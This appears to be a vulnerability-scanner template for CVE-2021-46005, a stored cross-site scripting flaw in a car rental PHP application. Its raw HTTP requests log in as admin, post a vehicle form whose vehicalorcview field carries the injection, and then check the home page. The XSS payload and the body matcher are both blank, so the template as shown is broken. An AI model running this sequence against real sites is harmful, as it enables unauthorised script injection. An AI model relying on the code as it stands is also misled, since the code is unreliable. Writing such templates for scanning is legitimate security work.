id: CVE-2021-46005
info:
name: Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting
author: cckuailong
severity: medium
description: Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://www.exploit-db.com/exploits/49546
- https://nvd.nist.gov/vuln/detail/CVE-2021-46005
- https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-46005
cwe-id: CWE-79
epss-score: 0.00143
epss-percentile: 0.50029
cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: car_rental_management_system_project
product: car_rental_management_system
tags: sourcecodester,authenticated,edb,cve,cve2021,xss,intrusive
http:
- raw:
- |
POST /admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
username={{username}}&password={{password}}&login=
- |
POST /admin/post-avehical.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="vehicletitle"
Test
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="brandname"
1
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="vehicalorcview"
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="priceperday"
500
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="fueltype"
Petrol
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="modelyear"
2022
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="seatingcapacity"
5
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img1"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img2"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img3"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img4"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="submit"
------WebKitFormBoundarypWqYipqU21aYgccv--
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
-
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220502dc1617d55c09997409f2f2ed277fad50494089ed7c1f7fd8929984700782f0220383d3a2a240ee11993e6930e4cf893c8b3e2cee4bf0b82c6566a4854a265caef:922c64590222798bb761d5b6d8e72950